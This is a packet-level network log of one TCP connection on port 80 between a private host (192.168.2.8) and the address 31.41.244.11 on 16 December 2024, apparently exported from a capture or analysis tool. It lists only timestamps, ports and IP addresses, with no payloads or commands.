Dec 16, 2024 17:02:14.109100103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.109142065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.109143972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.109184980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.110177994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.110224009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.110250950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.110294104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.111320972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.111363888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.246865988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.246999979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.247013092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.247057915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.247359037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.247405052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.247464895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.247509003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.248471975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.248526096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.248588085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.248627901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.249524117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.249582052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.249847889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.249896049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.250643969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.250695944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.250727892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.250775099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.251707077 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.251758099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.251982927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.252043009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.252805948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.252856016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.252887011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.252932072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.254110098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.254121065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.254158974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.254173040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.254976034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.255127907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.255143881 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.255187035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.256055117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.256078959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.256100893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.256177902 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.257158041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.257205009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.257215977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.257258892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.258235931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.258280039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.258537054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.258580923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.259357929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.259402990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.259589911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.259634018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.260390997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.260437965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.260653973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.260698080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.261734009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.261745930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.261785030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.262558937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.262604952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.262782097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.262826920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.263644934 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.263694048 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.263849974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.263892889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.264612913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.264658928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.264719963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.264763117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.265758038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.265804052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.265995026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.266036034 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.267047882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.267060041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.267095089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.267920971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.267987013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.268126965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.268171072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.269107103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.269119024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.269155979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.270148993 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.270160913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.270194054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.270216942 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.271311045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.271327972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.271363020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.271373987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.272314072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.272324085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.272370100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.273226023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.273269892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.273379087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.273422956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.274307966 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.274353981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.274425030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.274466991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.275374889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.275418997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.275562048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.275607109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.276659012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.276673079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.276700974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.276717901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.277714968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.277726889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.277759075 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.277769089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.278620958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.278661966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.278825998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.278863907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.279865980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.279875994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.279911041 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.280778885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.280823946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.280961037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.281002045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.282048941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.282090902 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.282337904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.282381058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.283111095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.283154011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.283230066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.283276081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.284245014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.284295082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.284436941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.284478903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.285222054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.285265923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.285330057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.285372019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.286246061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.286292076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.286401987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.286443949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.287354946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.287396908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.287811995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.287853956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.289107084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.289117098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.289153099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.290376902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.290386915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.290421009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.290441990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.291105986 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.291116953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.291156054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.292432070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.292445898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.292473078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.292493105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.293720007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.293734074 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.293771029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.293781042 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.294466019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.294480085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.294503927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.294517040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.295370102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.295380116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.295413017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.296427965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.296448946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.296466112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.296490908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.297466993 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.297477961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.297514915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.298243046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.298288107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.298346996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.298388004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.299150944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.299195051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.299288034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.299328089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.300175905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.300215960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.300298929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.300342083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.301364899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.301410913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.301414967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.301453114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.302490950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.302536011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.302656889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.302699089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.303492069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.303534985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.438828945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.438895941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.438944101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.438991070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.439172029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.439377069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.439600945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.439615965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.439649105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.439672947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.440671921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.440682888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.440716982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.440731049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.441795111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.441806078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.441847086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.442780018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.442816973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.442828894 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.442862988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.443866014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.443909883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.443970919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.444015026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.444828033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.444880009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.444961071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.445005894 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.446038961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.446049929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.446084023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.446103096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.446953058 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.447000980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.447093010 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.447135925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.448220015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.448267937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.448326111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.448369980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.450023890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.450076103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.450294971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.450335979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.451217890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.451265097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.451337099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.451383114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.452459097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.452507973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.452589035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.452627897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.453747034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.453792095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.453809023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.453847885 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.454900980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.454947948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.454979897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.455024004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.455790997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.455835104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.455895901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.455939054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.456820965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.456867933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.456933022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.456975937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.457997084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.458041906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.458241940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.458286047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.459059000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.459105968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.459165096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.459207058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.460120916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.460166931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.460199118 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.460242033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.461091995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.461133957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.461298943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.461342096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.462074995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.462121010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.462179899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.462224960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.463164091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.463210106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.463277102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.463335037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.464323044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.464370966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.464423895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.464471102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.465332985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.465346098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.465382099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.466398001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.466422081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.466448069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.466473103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.467108965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.467164993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.467186928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.467223883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.468125105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.468180895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.468249083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.468291044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.469111919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.469178915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.469275951 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.469320059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.470316887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.470375061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.470521927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.470562935 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.471383095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.471404076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.471432924 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.471446037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.472223043 CET	80	49708	31.41.244.11	192.168.2.8
